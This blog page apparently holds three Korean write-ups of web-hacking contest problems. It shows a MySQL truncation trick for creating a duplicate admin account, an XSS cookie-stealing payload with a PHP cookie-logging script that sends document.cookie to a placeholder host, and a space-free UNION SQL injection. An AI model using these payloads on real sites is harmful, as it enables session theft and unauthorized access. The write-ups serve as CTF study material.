사용자 삽입 이미지

○ 예선전 14번 문제

13번 문제 또한 SQL Injection 관련 문제로 MySQL 버그를 이용한 동일한 ID명의 사용자 추가에 대한 내용이였다.


■ 예선전 14번 문제 화면

→ Join은 Access_Denied로 접근이 불가

사용자 삽입 이미지


→ Login 페이지로 이동된 화면

사용자 삽입 이미지
사용자 삽입 이미지


→ Directory Listing을 통해서 join.php 파일 획득

사용자 삽입 이미지
사용자 삽입 이미지


→ join.php 파일 접근 화면

소스 파일 :

소스 파일에서 스크립트를 변조하면 인증 페이가 나타남

사용자 삽입 이미지
사용자 삽입 이미지



■ 문제 풀이 화면

Login화면에서 로그인 시도를 해보면 admin 계정이 있다는 것을 알 수 있다. id/pass를 임의로 가입해도 해당 계정은 admin이 아니라는 이유로 접근이 거부된다.

사용자 삽입 이미지

그러면 admin 계정을 생성해야 하는데 이미 생성되어 있는 계정이라고 신규 가입이 거부된다.
MySQL에는 Insert를 할 경우 MAX 값을 체크하지 않아서 정해진 크기 이후로 입력되는 값이 생략되는 문제점이 존재한다. 이러한 취약점을 이용하여 새로운 admin 계정 생성이 가능하다. 자세한 내용은 아래의 참고 사이트를 참조바랍니다.

사용자 삽입 이미지
※ 참고 SITE : http://teamcrak.tistory.com/54


→ 위와 같이 계정을 생성하면 admin/1234 계정이 추가로 생성되어 인증이 된다.

사용자 삽입 이미지

 

Posted by n3015m
:
사용자 삽입 이미지

○ 예선전 13번 문제


■ 예선전 13번 문제 화면

사용자 삽입 이미지


■ Write 페이지로 이동된 화면

문제 소스 :

사용자 삽입 이미지


■ 문제 풀이 화면


해당 문제는 힌트에서도 나왔지만 XSS 관련 문제로 타사용자의 세션을 획득하라는 의미로 파악된다. 먼저 쿠키를 수집하기 위한 사이트를 만들어야 해당 페이지에서는 script 입력을 차단하기 위해서 몇몇 단어를 필터링 하고 있어서 해당 필터링 또한 위해를 해야한다.

쿠키 저장 로직 cookie.php

<?
      $fp=fopen("cookie.txt", "a++");
      fputs($fp, "cookie : $cook\n");
      fclose($fp);
?>


필터링 우회 코드

<div style="width:expression(eval('locat'+'ion').href('http://url/cookie.php?cook='+document.cookie));">


획득된 쿠키
사용자 삽입 이미지

→ 쿠키를 설정하면 메인 페이지에서 패스워드 나타남 
사용자 삽입 이미지
사용자 삽입 이미지
Posted by n3015m
:
사용자 삽입 이미지

○ 예선전 12번 문제

이번 문제는 SQL Injection관련 문제였다. 개발자 출신이 아니여서 그런지 소스를 조금 오해했지만 몇가지 점검 하고 20~30분만에 해결했던 문제였다. 의도가 참 좋은 문제라고 생각한다.


■ 예선전 12번 문제 화면

문제 소스 :

사용자 삽입 이미지
사용자 삽입 이미지


■ 소스 보기에 주석 힌트 화면

사용자 삽입 이미지


■ Index.php.bak의 소스

→ 필터링 키워드가 나열된 화면
사용자 삽입 이미지

→ SQL Query 실행 화면
사용자 삽입 이미지

→ Answer 값 출력 로직 화면
사용자 삽입 이미지



■ 문제 풀이 화면

해당 문제는 RS의 값의 첫번째가 2가 되어야만 답이 출력되는 구조라는 것을 위의 소스에서 확인 할수 있다. 먼저 DB의 데이터에 뭐가 있는 확인해 보면 다음과 같은 결과를 얻을 수 있다.
사용자 삽입 이미지

lv 컬럼에는 1이라는 데이터 하나만 존재한다. RS의 값을 2로 변경하려면 union연산자를 사용해서 2의 값이 반환되도록 변경해야한다. 하지만 위의 Keyword Filtering 규칙을 보면 공백(space)이 필터링되어 사용 할 수 없다. 또한 숫자 2도 차단되어 있어 '-' 연산자 등을 사용해서 우회를 해야 하며 또한 1이 아닌 값을 사용해서 union 앞의 구문을 null 상태로 만들어 줘야 우리가 입력한 데이터가 첫번째로 반환된다.

rand==1의 질의어 : select lv from web01 where lv=($go)

완성된 질의어 : index.php?lv=0)union(select(5-3)

rand==1일 경우 질의어 구문
select
lv from web01 where lv=(0)union(select(5-3))

rand 값의 의해 20% 확률로 5번 중의 한번 꼴로 해답이 출력된다.

사용자 삽입 이미지
사용자 삽입 이미지
Posted by n3015m
:

BLOG main image
웹 해킹 스터디를 위한 공간입니다. n3oism@gmail.com by n3015m

공지사항

카테고리

분류 전체보기 (17)
공지사항 (0)
웹 해킹 & 입문 (5)
웹 해킹 & 참고자료 (2)
해킹대회 문제풀이 (8)

최근에 올라온 글

최근에 달린 댓글

최근에 받은 트랙백

Total :
Today : Yesterday :